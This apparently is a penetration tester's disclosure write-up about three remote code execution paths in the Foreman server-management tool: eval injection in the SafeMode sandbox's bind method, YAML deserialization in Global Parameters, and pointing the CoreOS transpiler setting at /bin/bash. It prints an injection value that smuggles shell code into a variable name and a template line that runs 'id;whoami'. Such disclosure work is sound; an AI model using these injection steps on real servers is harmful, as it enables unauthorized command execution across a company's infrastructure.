Sandbox escape or How to catch all servers of the company

Sandbox escape or How to catch all servers of the company

We would like to describe how we discovered three RCE vulnerabilities, managed to escape the sandbox, and gained access to all of the company's servers.

As part of the pentest, we identified a service for managing virtual and physical servers called Foreman. It appeared to be interesting to us for further analysis and security testing of its usage.

Foreman is a tool for managing the lifecycle of physical and virtual servers. It enables system administrators to easily automate repetitive tasks, quickly deploy applications, and actively manage servers, whether local or cloud-based.

All investigations were conducted on the latest available version of Foreman as of now, version 3.4.1.

Using a standard administrator account, we began to explore the available functionality.

First, we focused on the "Provisioning Templates" functionality. It is used to configure the operating systems of connected servers.

After reviewing the documentation, we learned that ERB (Embedded Ruby) language is used for working with templates.


After obtaining the result of a simple mathematical operation, we thought we had found it, but it turned out that it was not the case. When we added the attacking payload, we encountered a SafeMode feature.

We consulted the documentation and conducted a more detailed study of the available methods at our disposal.

(*)https://www.rubydoc.info/gems/safemode/1.2.4/Safemode/Scope


We were drawn to the "Bind" method.

https://www.rubydoc.info/gems/safemode/1.2.4/Safemode/Scope#bind-instance_method

def bind(instance_vars = {}, locals = {}, &block)
  @locals = symbolize_keys(locals) # why can't I just pull them to local scope in the same way like instance_vars?
  instance_vars = symbolize_keys(instance_vars)
  instance_vars.each {|key, obj| eval "@#{key} = instance_vars[:#{key}]" }
  @_safemode_output = ''
  binding
end

It can be seen that "instance_vars" falls into eval on the 5th line. Based on the code, one can conclude that a request bind(instance_vars={"xx=puts(`SOME_BASH_CODE`)#"=>"a'a"}, locals={"b"=>"bb"})
may lead to injection into eval and execution of arbitrary code bypassing SafeMode.

And this became the First blood in getting to know the product. The SafeMode gem is a development of Foreman, as evidenced by their GitHub repository - https://github.com/theforeman/safemode. Based on the information available on public GitHub and Rubygems pages, we can assume this gem may be used in other projects where a sandbox is needed.

The Second blood came in the process of studying the Global Parameters functionality. Global Parameters simplifies the development and joint use of Puppet modules and classes. While working with global parameters, we noticed that they can be passed using various formats, including passing them through YAML.

Recalling various techniques/articles on deserializing data in YAML, we used a useful payload for "Universal RCE with Ruby YAML.load (versions > 2.7)"*.

(*)https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/

The culmination of all the bugs found was the RCE in the Command Runner module.

https://github.com/theforeman/foreman/blob/e31dff605c64976f8e5a5a4d1864d6206e5ac426/lib/foreman/command_runner.rb

In functions:

  • transpile_coreos_linux_config

def transpile_coreos_linux_config(input, validate_input = true, validate_output = false)
            YAML.safe_load(input) if validate_input
            result = Foreman::CommandRunner.new(Setting[:ct_command], input).run!
            JSON.parse(result) if validate_output
            result
end

  • transpile_fedora_coreos_config

def transpile_fedora_coreos_config(input)
            Foreman::CommandRunner.new(Setting[:fcct_command], input).run!
end

https://github.com/theforeman/foreman/blob/e31dff605c64976f8e5a5a4d1864d6206e5ac426/app/services/foreman/renderer/scope/macros/transpilers.rb

As we can see, the execution of incoming commands occurs in the Foreman::CommandRunner, which is set in the Provisioning settings as "CoreOS Transpiler Command" and "Fedora CoreOS Transpiler Command".

For ct_command

{
    "description": "Full path to Fedora CoreOS transpiler (fcct) with arguments as an comma-separated array",
    "settings_type": "array",
    "default": [
        false,
        "--pretty",
        "--files-dir",
        "/usr/share/foreman/config/ct"
    ],
    "updated_at": null,
    "id": "fcct_command",
    "name": "fcct_command",
    "full_name": "Fedora CoreOS Transpiler Command",
    "value": [
        false,
        "--pretty",
        "--files-dir",
        "/usr/share/foreman/config/ct"
    ],
    "category": "provisioning",
    "category_name": "Provisioning",
    "readonly": false,
    "config_file": null,
    "encrypted": false,
    "select_values": null
}

For fcct_command

{
    "setting": {
        "value": [
            "false",
            "--pretty",
            "--files-dir",
            "/usr/share/foreman/config/ct"
        ]
    }
}


The "value" block is of interest to us, where the location of "ct" and "fcct" is specified. Therefore, we can set an arbitrary program. For example, replace "/usr/share/foreman/config/ct" with "/bin/bash".


After such changes, it is enough for us to go to the tab with Provisioning Templates and use the functionality of creating or editing a template. And as a template, you can set -

“<%= transpile_coreos_linux_config('id;whoami') %>”

Thus, our third RCE for Foreman has been revealed. Now, we don't even need to run away from the SafeMod sandbox, as we did in the very first RCE.

In conclusion, we’re extremely grateful to the Foreman team for their assistance in addressing the two CVEs, describing our findings:

Their prompt response, expertise, and professionalism have helped much.

Author: Dinko Dimitrov